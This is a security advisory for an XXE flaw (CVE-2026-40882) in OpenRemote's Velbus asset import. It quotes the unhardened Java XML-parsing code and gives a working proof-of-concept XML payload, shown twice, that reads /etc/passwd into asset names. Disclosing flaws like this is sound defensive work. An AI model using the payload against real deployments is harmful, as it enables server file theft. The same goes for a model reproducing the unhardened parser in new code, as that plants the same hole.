GHSA-G24F-MGC3-JWWC
Vulnerability from github – Published: 2026-04-15 19:42 – Updated: 2026-04-15 21:17Summary
The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.
Details
Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.
```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java @Override public Future startAssetImport(byte[] fileData, Consumer assetConsumer) {
return executorService.submit(() -> {
Document xmlDoc;
try {
String xmlStr = new String(fileData, StandardCharsets.UTF_8);
LOG.info("Parsing VELBUS project file");
xmlDoc = DocumentBuilderFactory
.newInstance()
.newDocumentBuilder()
.parse(new InputSource(new StringReader(xmlStr)));
Expanded `Caption` content is propagated into created asset names:
```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java
String name = module.getElementsByTagName("Caption").item(0).getTextContent();
name = isNullOrEmpty(name) ? deviceType.toString() : name;
// TODO: Use device specific asset types
Asset<?> device = new ThingAsset(name);
PoC
- Log in to a realm with a user that can call Velbus asset import.
- Create/select a Velbus TCP Agent in that same realm.
- Send
POST /api/{realm}/agent/assetImport/{agentId}with a Velbus project XML payload and compare behavior against a baseline import file. - Save the below code as a
xxe.xmland upload toSetupunderhttps://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage thefile:///etc/passwdto another file if yourpasswdis longer than 1023 characters.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
<Module type="VMB1RY" address="01" build="00" serial="LAB">
<Caption>&xxe;</Caption>
</Module>
</Project>
As long as the file content is under 1023 characters, the exploit will succeed.
If the file content reaches the limit, an error is thrown.
Impact
- Type: XML External Entity (XXE)
- Affected: Deployments exposing Velbus import to authenticated users with import access
- Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.21.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.openremote:openremote-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40882"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-15T19:42:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.\n\n### Details\nVelbus import uses `DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...)` on untrusted XML input, without explicit safeguards to disable DTD/external entities.\n\n```154:165:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n @Override\n public Future\u003cVoid\u003e startAssetImport(byte[] fileData, Consumer\u003cAssetTreeNode[]\u003e assetConsumer) {\n\n return executorService.submit(() -\u003e {\n Document xmlDoc;\n try {\n String xmlStr = new String(fileData, StandardCharsets.UTF_8);\n LOG.info(\"Parsing VELBUS project file\");\n\n xmlDoc = DocumentBuilderFactory\n .newInstance()\n .newDocumentBuilder()\n .parse(new InputSource(new StringReader(xmlStr)));\n```\n\nExpanded `Caption` content is propagated into created asset names:\n\n```193:198:agent/src/main/java/org/openremote/agent/protocol/velbus/AbstractVelbusProtocol.java\n String name = module.getElementsByTagName(\"Caption\").item(0).getTextContent();\n name = isNullOrEmpty(name) ? deviceType.toString() : name;\n\n // TODO: Use device specific asset types\n Asset\u003c?\u003e device = new ThingAsset(name);\n```\n\n### PoC\n1. Log in to a realm with a user that can call Velbus asset import.\n2. Create/select a Velbus TCP Agent in that same realm.\n3. Send `POST /api/{realm}/agent/assetImport/{agentId}` with a Velbus project XML payload and compare behavior against a baseline import file.\n3. Save the below code as a `xxe.xml` and upload to `Setup` under `https://localhost/manager/?realm=\u003cYOUR_REALM\u003e#/assets/false/\u003cASSET_ID\u003e`. Chnage the `file:///etc/passwd` to another file if your `passwd` is longer than 1023 characters.\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE velbus [\n \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\"\u003e\n]\u003e\n\u003cProject\u003e\n \u003cModule type=\"VMB1RY\" address=\"01\" build=\"00\" serial=\"LAB\"\u003e\n \u003cCaption\u003e\u0026xxe;\u003c/Caption\u003e\n \u003c/Module\u003e\n\u003c/Project\u003e\n```\n\nAs long as the file content is under 1023 characters, the exploit will succeed.\n\u003cimg width=\"1200\" height=\"662\" alt=\"image\" src=\"https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b\" /\u003e\n\nIf the file content reaches the limit, an error is thrown.\n\u003cimg width=\"1200\" height=\"630\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429\" /\u003e\n\n\n### Impact\n- **Type:** XML External Entity (XXE)\n- **Affected:** Deployments exposing Velbus import to authenticated users with import access\n- **Risk:** limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.",
"id": "GHSA-g24f-mgc3-jwwc",
"modified": "2026-04-15T21:17:52Z",
"published": "2026-04-15T19:42:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/security/advisories/GHSA-g24f-mgc3-jwwc"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/openremote"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has XXE in Velbus Asset Import"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.